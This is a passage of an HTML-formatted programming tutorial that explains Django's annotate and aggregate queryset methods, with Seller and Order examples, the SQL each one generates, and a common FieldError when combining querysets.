style=&#34;color:#78787e&#34;&gt;# The query produced by the ORM&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(sellers_with_orders_total&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, CAST(SUM(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total) AS NUMERIC) AS orders_total FROM app_seller LEFT OUTER JOIN app_order ON (app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;seller_id) GROUP BY app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Look at the query, it will return each line of the database (seller) with an extra annotation called &lt;em&gt;orders_total&lt;/em&gt;, or the name we have assigned to it, which corresponds to the sum of the totals of their respective orders.&lt;/p&gt;&#xA;&lt;p&gt;The same result as before&amp;hellip; but in a single query!&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_total[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;300&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Poe&amp;#39;s orders sum 300&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We could also count them, instead of adding them up.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sum, Count&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# The query produced by the ORM&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(sellers_with_orders_count&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, COUNT(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id) AS orders_count FROM app_seller LEFT OUTER JOIN app_order ON (app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;seller_id) GROUP BY app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, each element of the queryset will have a property called &lt;em&gt;orders_count&lt;/em&gt;, which will be equal to the count of the orders it has, in this case each of the sellers has two orders.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_count[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_count&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;concatenate-a-query-with-django-annotate&#34;&gt;Concatenate a query with Django annotate&lt;/h3&gt;&#xA;&lt;p&gt;As I mentioned at the beginning; &lt;em&gt;annotate&lt;/em&gt; returns a &lt;em&gt;queryset&lt;/em&gt;, &lt;strong&gt;so we can concatenate multiple annotate for a single database query.&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sum, Count&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;combined_querysets &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# The resulting query&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(combined_querysets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, COUNT(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id) AS orders_count, CAST(SUM(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total) AS NUMERIC) AS orders_total FROM app_seller LEFT OUTER JOIN app_order ON (app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;seller_id) GROUP BY app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how we use the double underscore to access the &amp;ldquo;total&amp;rdquo; property of the Order object from Sellers, as you would do in any Django queryset.&lt;/p&gt;&#xA;&lt;p&gt;Now each item contains both its order count and order total, all in &lt;strong&gt;a single database query&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;combined_querysets[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_total &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;300&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Poe&amp;#39;s orders sum 300&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;combined_querysets[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_count &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Poe has made two orders&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;cannot-resolve-keyword-error-when-using-annotate&#34;&gt;Cannot resolve keyword error when using annotate&lt;/h3&gt;&#xA;&lt;p&gt;If you combine two querysets and in one of them you have used annotate, you may not get the results you expect. This happens because you are trying to join two querysets with unequal fields.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Poe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lovecraft&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ERROR&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; queryset_1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# django.core.exceptions.FieldError: Cannot resolve keyword &amp;#39;orders_count&amp;#39; into field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To solve the problem you must match the querysets, so that both have the field you added with annotate.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Poe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lovecraft&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CORRECT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; queryset_2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Another way to solve it would be to perform the binding to the queryset with annotate first&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Poe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lovecraft&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CORRECT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; queryset_2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;when-not-to-use-django-annotate&#34;&gt;When not to use Django annotate?&lt;/h3&gt;&#xA;&lt;p&gt;Django annotate is quite inefficient when combined with subqueries, so if your application uses a lot of subqueries and frequently combines them with annotate, it might be a better idea to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/fix-slow-queries-in-django-when-using-annotate-and-subqueries/&#34;&gt;write your own SQL and use CTEs&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;aggregate-in-django&#34;&gt;Aggregate in Django&lt;/h2&gt;&#xA;&lt;h3 id=&#34;why-use-aggregate&#34;&gt;Why use aggregate?&lt;/h3&gt;&#xA;&lt;p&gt;We use aggregate &lt;strong&gt;when we want to reduce the total of a query to a single piece of data&lt;/strong&gt;, this data can be an average, a summation, a minimum, maximum value, etc. Aggregate allows us to process it directly from the database, without having to process the data with Python ourselves.&lt;/p&gt;&#xA;&lt;p&gt;Imagine that we want to know the total of absolutely all the orders, to process or render it in a template later.&lt;/p&gt;&#xA;&lt;p&gt;A rather naive approach would be to include the following code inside a function or method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# DON&amp;#39;T DO THIS IS INEFFICIENT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;all_orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; seller &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; order &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        all_orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(all_orders_total)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2100.000000000&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above piece of code is inefficient, again we are querying the database multiple times and processing information with Python, which is not bad, but generally a database is much more efficient.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Instead of using Python to calculate the total orders, we could instruct the database to calculate it using &lt;em&gt;aggregate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-use-aggregate&#34;&gt;How to use aggregate?&lt;/h3&gt;&#xA;&lt;p&gt;According to the above, it would be convenient to replace the above code with the following queryset. We can specify the name to be used as a key in our dictionary or let django generate it automatically. However, for this example we will name it &lt;em&gt;sum_of_all_orders&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;aggregate(sum_of_all_orders &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sum_of_all_orders&amp;#39;&lt;/span&gt;: Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2100&amp;#39;&lt;/span&gt;)}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Total of all orders is 2100&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Likewise, instead of asking it to sum up, we could ask it for an average, or a count as well, or include a &lt;em&gt;filter&lt;/em&gt; prior to the &lt;em&gt;aggregate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_orders &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;aggregate(total_orders &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_orders 